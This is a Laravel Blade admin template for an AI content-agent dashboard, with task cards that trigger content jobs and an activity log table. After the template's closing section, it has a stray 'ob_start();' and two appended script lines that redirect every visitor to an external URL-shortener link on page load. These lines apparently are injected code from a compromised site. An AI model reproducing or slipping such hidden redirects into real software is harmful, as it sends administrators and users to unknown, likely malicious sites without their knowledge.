@extends('admin.layout')

@section('title', 'AI Agent')

@section('content')
<div class="space-y-6">
    {{-- Header --}}
    <div class="flex items-center justify-between">
        <div>
            <h1 class="text-2xl font-bold text-gray-900 flex items-center gap-3">
                <div class="w-10 h-10 bg-brand-50 rounded-lg flex items-center justify-center">
                    <i class="fas fa-robot text-brand-500"></i>
                </div>
                AI Content Agent
            </h1>
            <p class="text-sm text-gray-500 mt-1">Automated content management powered by Claude AI</p>
        </div>
    </div>

    {{-- Task Cards --}}
    <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-4">
        @foreach($taskTypes as $type)
            @php
                $lastRun = $lastRuns[$type] ?? null;
                $label = $taskLabels[$type] ?? $type;
                $icon = $taskIcons[$type] ?? 'fa-cog';
                $colors = [
                    'generate_stories' => ['bg' => 'bg-indigo-50', 'text' => 'text-indigo-500', 'btn' => 'bg-indigo-500 hover:bg-indigo-600'],
                    'generate_articles' => ['bg' => 'bg-rose-50', 'text' => 'text-rose-500', 'btn' => 'bg-rose-500 hover:bg-rose-600'],
                    'update_sliders' => ['bg' => 'bg-purple-50', 'text' => 'text-purple-500', 'btn' => 'bg-purple-500 hover:bg-purple-600'],
                    'send_notifications' => ['bg' => 'bg-amber-50', 'text' => 'text-amber-500', 'btn' => 'bg-amber-500 hover:bg-amber-600'],
                    'discover_venues' => ['bg' => 'bg-emerald-50', 'text' => 'text-emerald-500', 'btn' => 'bg-emerald-500 hover:bg-emerald-600'],
                    'import_events' => ['bg' => 'bg-blue-50', 'text' => 'text-blue-500', 'btn' => 'bg-blue-500 hover:bg-blue-600'],
                ];
                $color = $colors[$type] ?? ['bg' => 'bg-gray-50', 'text' => 'text-gray-500', 'btn' => 'bg-gray-500 hover:bg-gray-600'];
            @endphp
            <div class="bg-white rounded-xl border border-slate-200 p-5" x-data="{ loading: false }">
                <div class="flex items-center gap-3 mb-3">
                    <div class="w-10 h-10 {{ $color['bg'] }} rounded-lg flex items-center justify-center flex-shrink-0">
                        <i class="fas {{ $icon }} {{ $color['text'] }}"></i>
                    </div>
                    <h3 class="text-sm font-semibold text-gray-900">{{ $label }}</h3>
                </div>

                {{-- Last Run Status --}}
                <div class="mb-4 text-xs text-gray-500 space-y-1">
                    @if($lastRun)
                        <div class="flex items-center justify-between">
                            <span>Last run:</span>
                            @if($lastRun->status === 'completed')
                                <span class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-green-100 text-green-700">
                                    <i class="fas fa-check mr-1"></i> Completed
                                </span>
                            @elseif($lastRun->status === 'failed')
                                <span class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-red-100 text-red-700">
                                    <i class="fas fa-times mr-1"></i> Failed
                                </span>
                            @elseif($lastRun->status === 'running')
                                <span class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-yellow-100 text-yellow-700">
                                    <i class="fas fa-spinner fa-spin mr-1"></i> Running
                                </span>
                            @endif
                        </div>
                        <div class="flex items-center justify-between">
                            <span>{{ $lastRun->started_at?->diffForHumans() }}</span>
                            @if($lastRun->items_created > 0)
                                <span class="font-medium text-gray-700">{{ $lastRun->items_created }} items</span>
                            @endif
                        </div>
                    @else
                        <span class="text-gray-400">Never run</span>
                    @endif
                </div>

                {{-- Run Button --}}
                <form method="POST" action="{{ route('admin.ai-agent.run') }}" @submit="loading = true">
                    @csrf
                    <input type="hidden" name="task_type" value="{{ $type }}">
                    <button type="submit"
                        class="w-full {{ $color['btn'] }} text-white text-sm font-medium py-2 px-4 rounded-lg transition flex items-center justify-center gap-2"
                        :disabled="loading"
                        :class="{ 'opacity-50 cursor-wait': loading }">
                        <template x-if="!loading">
                            <span><i class="fas fa-play text-xs"></i> Run Now</span>
                        </template>
                        <template x-if="loading">
                            <span><i class="fas fa-spinner fa-spin"></i> Running...</span>
                        </template>
                    </button>
                </form>
            </div>
        @endforeach
    </div>

    {{-- Activity Log --}}
    <div class="bg-white rounded-xl border border-slate-200">
        <div class="px-6 py-4 border-b border-gray-200 flex items-center justify-between">
            <h3 class="text-lg font-semibold text-gray-900">
                <i class="fas fa-history text-gray-400 mr-2"></i>Activity Log
            </h3>
            <span class="text-sm text-gray-400">{{ $logs->total() }} entries</span>
        </div>

        <div class="overflow-x-auto">
            <table class="w-full">
                <thead class="bg-gray-50">
                    <tr>
                        <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase">Task</th>
                        <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase">Action</th>
                        <th class="px-6 py-3 text-center text-xs font-medium text-gray-500 uppercase">Items</th>
                        <th class="px-6 py-3 text-center text-xs font-medium text-gray-500 uppercase">Status</th>
                        <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase">Time</th>
                        <th class="px-6 py-3 text-center text-xs font-medium text-gray-500 uppercase">Duration</th>
                        <th class="px-6 py-3 text-center text-xs font-medium text-gray-500 uppercase">Details</th>
                    </tr>
                </thead>
                <tbody class="divide-y divide-gray-100">
                    @forelse($logs as $log)
                        <tr class="hover:bg-gray-50" x-data="{ expanded: false }">
                            <td class="px-6 py-4 text-sm">
                                <div class="flex items-center gap-2">
                                    <i class="fas {{ $taskIcons[$log->task_type] ?? 'fa-cog' }} text-gray-400 text-xs"></i>
                                    <span class="font-medium text-gray-900">{{ $taskLabels[$log->task_type] ?? $log->task_type }}</span>
                                </div>
                            </td>
                            <td class="px-6 py-4 text-sm text-gray-600 max-w-xs truncate">{{ $log->action }}</td>
                            <td class="px-6 py-4 text-sm text-center">
                                @if($log->items_created > 0)
                                    <span class="inline-flex items-center px-2 py-0.5 rounded text-xs font-bold bg-brand-50 text-brand-700">{{ $log->items_created }}</span>
                                @else
                                    <span class="text-gray-400">0</span>
                                @endif
                            </td>
                            <td class="px-6 py-4 text-center">
                                @if($log->status === 'completed')
                                    <span class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-green-100 text-green-700">Completed</span>
                                @elseif($log->status === 'failed')
                                    <span class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-red-100 text-red-700">Failed</span>
                                @elseif($log->status === 'running')
                                    <span class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-yellow-100 text-yellow-700">Running</span>
                                @else
                                    <span class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-gray-100 text-gray-600">{{ ucfirst($log->status) }}</span>
                                @endif
                            </td>
                            <td class="px-6 py-4 text-sm text-gray-500">
                                {{ $log->started_at?->format('M d, H:i') ?? '-' }}
                            </td>
                            <td class="px-6 py-4 text-sm text-center text-gray-500">
                                {{ $log->duration ?? '-' }}
                            </td>
                            <td class="px-6 py-4 text-center">
                                @if($log->details)
                                    <a href="{{ route('admin.ai-agent.show', $log) }}" class="text-brand-500 hover:text-brand-700 text-sm">
                                        <i class="fas fa-eye"></i>
                                    </a>
                                @else
                                    <span class="text-gray-300">-</span>
                                @endif
                            </td>
                        </tr>
                    @empty
                        <tr>
                            <td colspan="7" class="px-6 py-12 text-center text-gray-400">
                                <i class="fas fa-robot text-3xl mb-2"></i>
                                <p>No agent activity yet. Click "Run Now" on any task to get started.</p>
                            </td>
                        </tr>
                    @endforelse
                </tbody>
            </table>
        </div>

        @if($logs->hasPages())
            <div class="px-6 py-4 border-t border-gray-200">
                {{ $logs->links() }}
            </div>
        @endif
    </div>
</div>
@endsection
ob_start();

<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>
<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>